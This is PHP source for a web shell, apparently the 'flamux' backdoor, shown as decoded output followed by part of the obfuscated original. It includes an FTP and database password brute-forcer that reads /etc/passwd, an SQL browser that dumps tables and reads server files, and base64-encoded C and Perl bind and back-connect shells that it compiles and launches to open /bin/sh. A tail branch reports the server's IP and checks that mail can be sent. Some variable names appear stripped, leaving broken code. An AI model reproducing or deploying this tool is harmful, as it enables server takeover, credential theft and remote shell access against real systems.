					if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<input type=hidden name=ne  value="">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
		.'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
		.'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
	echo '</div>';
	hardFooter();
}
function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function __Constructor($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table hard2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($ = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }
						$columns = array();
						foreach($ as $k=>$v) {
                            if($v === null)
                                $[$k] = "NULL";
                            elseif(is_int($v))
                                $[$k] = $v;
                            else
                                $[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($ = $this->fetch()) {
						$columns = array();
						foreach($ as $k=>$v) {
							$[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	hardHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><label><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></label></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<label><select name=sql_base><option value=''></option>";
			while($ = $db->fetch()) {
				list($key, $value) = each($);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select></label>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='submit' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($ = $db->fetch($tbls_res)) {
					list($key, $value) = each($);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
						$line = 1;
						while($ = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($ as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($ as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	hardFooter();
}
function actionNetwork() {
	hardHeader();
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
	</form>
	<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
	<span>Back-connect to</span><br/>
	Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists('file_put_contents');
			if($w)	{
				@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpc') {
			cf("/tmp/bp.c",$bind_port_c);
			$ = ex("gcc -o /tmp/bp /tmp/bp.c");
			@unlink("/tmp/bp.c");
			$ .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bp")."</pre>";
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST['p1'] == 'bcc') {
			cf("/tmp/bc.c",$back_connect_c);
			$ = ex("gcc -o /tmp/bc /tmp/bc.c");
			@unlink("/tmp/bc.c");
			$ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bc")."</pre>";
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bc.pl")."</pre>";
		}
	}
	echo '</div>';
	hardFooter();
}
if( empty($_POST['a']) ){
	if(isset($) && function_exists('action' . $)){
		$_POST['a'] = $;}
	else{
		$_POST['a'] = 'FilesMan'; } }
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ){
	call_user_func('action' . $_POST['a']);}
	
}else {
    $ziwziw = $_POST['lynx'];
    if ($ziwziw == 'adding') {
		if(mailwork()==true){
        echo php_uname();
        echo 'sarafinoubombom';
		}else{echo "mailingproblem";}
    } else if ($ziwziw == 'ip') {
        //$ip = file_get_contents("http://ipecho.net/plain");
        $ip = $_SERVER['SERVER_ADDR'];
        if (filter_var($ip, FILTER_VALIDATE_IP)) {
            echo $ip;
            echo 'sarafinoubombom';
        } else {
            $host = gethostname();
            $ip = gethostbyname($host);
            echo $ip;
            echo 'sarafinoubombom';
        }
    }
} 
function mailwork(){
	if(mail('[email protected]','test','testing')){return true;}
	else{return false;}
}

Did this file decode correctly?

Original Code

<?php /* flamux script 3.3 php 7.0 compatible */''.$aqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraMqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraM="JRbkGTD2pmE0FmRirzbkGxWQJzc1rJ1QZRSAIHEOFzbjrzgREGI2JJ1WMGEWH0VeY1LkIGu6JaSJGyuynIRmH1qhGvgSASZ0YmSLqv8loGWnYmx0IwpiZl83oSLiY2LeL2MdMwpmpmyzHP8iYl9xY2L2Mv9hJIczAIO6HP94FUOkAH1nLIEKIwSenRkbZKN2oTShAGymG3MEBSV1q2AHqRk1ZmMHnzV5HaclZwSdJJ1OZ09FI0t4MTLkI0IXX01bGKS0LzWaH1ORoPgcnz54FKuaBJSDGz9bHRk1DaWKY1D2Jvg0Gv9vZT1BqR5zYlgwF1Z5X3APGGyGX3L0qzclqmH5Hv8eowyVI3qzY1qeBGyxMTLmHQOzXl9vqSOJMISCDl95p0gbLwtiqzAAEKOBL2WKAmShJUWRL1DkpSb0pJH4oxcWAayRJKclJxp2nmOxJT5VrzuzpKAlLIWRLHkOIID3Lwy2oxqhpKN0ImAUG21VnGA6FIEDZ0jjnQIEBGyVoQL3rIR2GmD1oSM4F0AmH01WGac0nyM2ZKMUFRE1GKqKo25DLyqHqlf1nTyIq2y5pxpeBJkDMRcVD09Ao3OzGFgQpyAAA3NlpSZjZ2fkrSS3LFgxI1AxIQWmIQIwn1MuMx1RqaMkMKD4MIuQozy4JSEbn2A0Zxt3MP9PIGuGMacgJJfiX0g3EyV0GmIVHmLlAwN3LwASX1b2AQH1MJSyF2L4GSNmDIcuI3WZnGt2I2WGAGOKn1penaDjAQE6EzcvITuEY0kbJIqMZ1yAp04joKcYAzDjoxczGHcyrKEDoaZjq0cTAvg5HGIyqRMeY1IJpzAxZQERpGICF1yFAvg0JycjLH5CY0ygGRpkA0xkZH01rx4mAz84rJSRJKMYrwHjpQOWAUWipHIWrUWKHay1qQydJJ1FIQyeEUcHH0jmqJg2ATIZGKbiq0tmrP8kM1AuEaEKJGLlY3EYFRLkL0AbI2qlZJAVpJyiGwp2Imx2p2kaAmq6pzAVBQAaL2IfBRIkDyWCL2AxqUSarILlI001HJVeqJMSL2S4MSOPFT1nqJLjMSb4M3MgFaSQLJSBIz1nEab3JzcbBQOnrFgnZGEwDzSiMTj3nT16M3bjrKcOMSVmowSRX2yQJSEKoKW1nyE6IKEkoJu6n3IyIzx3Ewu0GaMSHmAAoyIFrGV0FTSjBUEmLz5AIGEHDJgGnUIQnyATY0MEF2AaZ3AxM2gILzquJIR5FaOCnTuXMJf2o0AVIwyFJUSKAyuTnaSQAwSkIlf0FKN5nzAZrHgGqaMunJV5AJueAzA3IaqmJaESJzIaH2EBqRquG2cEqySgF2MRBSEWMR9doH4jqzy1G1AurGAJI3ETp1NjoJW2nJWKMap1LzSeqvfeMyq0EJMTIlg4X090IQteI2k4ASOBG2D0D21IZ1MkHTWkY3WYL3LkFzZiBH9BrSDmITqjZJ9uBGEfI3WwIRITJQL4oxECG2ZlqISEGF90q2uVA3uZG3y5ZSWvJv9kFJE4E2EdrR0knHkCZzMUrQW2AauinSuLqJReLHSMrz44pQAHAT1BIv94ZmMwLItmqzqPY3S5HwMxoIp2MJyCIl9kX09DIHcJrKIQZ3x5JyqRrwEioKAnF2cKqJMCAUVjrx5SoREPrxuOn3AYGJE0MJMlozqArTfjFH4ep0fmG3IYq09QIlgVJIIKE2WQLIxinQI2BTMxq2ILEQOapGIiDwSFFT1UEHV5IaD0X2EzryydIay0GxqJGTcAoSZ3raujIRARFJWbowOIE2W3qJg6BTt3EapeZUD5FyAlHRRenTAMozybJSEYqQSvrxb3LISapaNjHzSLp1yHp2IwEHyEH2LkG092EHuLMxMuGTyuET12M0yZGwqiH3EjIUOHBHyjIwD0FzLlZGO5AIccMlg1ARcBJxyIqRtkIUWTGTfeHRL2M0MAAycWD0L3HREXoyAbA0InLxuYJIM1AJL3MaWXI1HlBJETA2g0pyc5GzD4EF9eJStkLHHjETqDEPgGIR1ErJywoTgipJyyHyMbBSqhZmuJHIR4o25TIwu2pHgvJIWiHGH2Mmx2FKOFIyuEZyblZUMFDaIJLF8mn0c0rH9ZJayGFzL0GQReE0kXoQMJIQSSHIHeBHgjEFfkMmOAIQIAMIudHJIxZJMvE0cBZHj4nIWyERqAMJMDJwy6rxWknRf2M1M1ZSImn1quZSMkIUcUZxblDyOjZUWWM3cKAx9GJwyRqyMjpyZ2p1IZJIqmGlf2o1pjAxg1L3OSGab2IKcJI29CA0EkAJElGIcJnzMhHz9wnmIYF25wHwAFGGEZHPgFASu2AR02qH9CHGqXBKESAT90pHfiqayyEUMIHyuzMxbkA3A1Dx5lD2SvoUIXGIIcGxp5MIu3BGqTnaR4oJ5vEmMVIGuAFUImBSE0Z3q6Z2gTLx1yJUcuZyEVoaymnHkLnyEzMJcWJQV4Iz1OqScIp2WbBGImGzS0rzcHM0MupR1krIIfHachDJMlq2AWnQIhDGujZzu0rKSUIUx1IR9PX2qDpGO6Lwp0EGSiLGHeGmH2LHtlAJ1yA1WOrv9hpGMeZ2MyoxLlq1W2pUAQEaMHF0yKBIOiX2WvrzkDGmqaZxE5BKEHMyS5IwIerQA1ql9lAUqLZKMEGxk0HRkIL2x2HP9mE0ICHR1QBHcKZackoHy2ZHgxLJSurSOzGHyzrx1OpUWnIGMmF3SkGQyLDapeMmybpJc3qwH2MKWIrv85A2MIE0EKIxWCpycwpTZ3qmx3nxkLHQMBLxH1Exy1Zz93AJ5woKSmHUEIX0H2AUuJoxy0ZJceqxIvAJqxAISaLH5DDwH2IF8iEHy4qwAjqyH3qyOMGTHmo05xnaEUJQHmEaIvZ0SUA25PA25zM1uyZySKM2RjF01hHTtkBISuIzggZaL3JII4DKAIHmH4n09anJteoJICARczG01IDwqkpJ9KqPf3Hxb2MSIdLaWkMvgcY3pkZJ1HnKAVH0gHqUDkHwMTqJSWA0V1BKy0JP9VZJSlIxyxAKSFnxEDD29FLmLjGUuYGIcYpwy4Imuaoyx0o05fAQp3MHAPq2p3MJcBo2uABSOZE1ADGHjeoRH1BHcUGPgRpzSdAyWKIyymLaA3qx5JAHuDHJ81nKb1MySunSSdFyu3IJcVEwtenQH5JJbeG09YAR8enRqlAQMeHwEwX0q5A1EBEac0EGAHI3czJSxmG2kwX3yKESOUGP9LM09VEwxjETuGIHMOX0f0pSW1GKSSZaSaoQuBnRM0ZaR4qxW4qKcPL2tiHz10MTqgLwSDERtep0gaEQqEnT80HUc1GKuLnRIZnxfjnTkFIIM0I1O2rQAvHGSnoGNjpKchEKRerxMHnKcvpHSDZ25apwx4EJyJY29UJHEKIJgZMxW2nzkPG3t4HaEBL2EXLwIMpmL4ZzkuMapeBHgBEHL0I0AcpKSFL1RjBSWbnQAnBGxmBR40pzbkL3EBq2WDAJMZEIH5FTSFBJMeGxqWGxIWAT9Hn2u0HRcjM09KIwZlAmuvoxALnUMApybjZJZlHIOcrTR4MF9GLKH1Z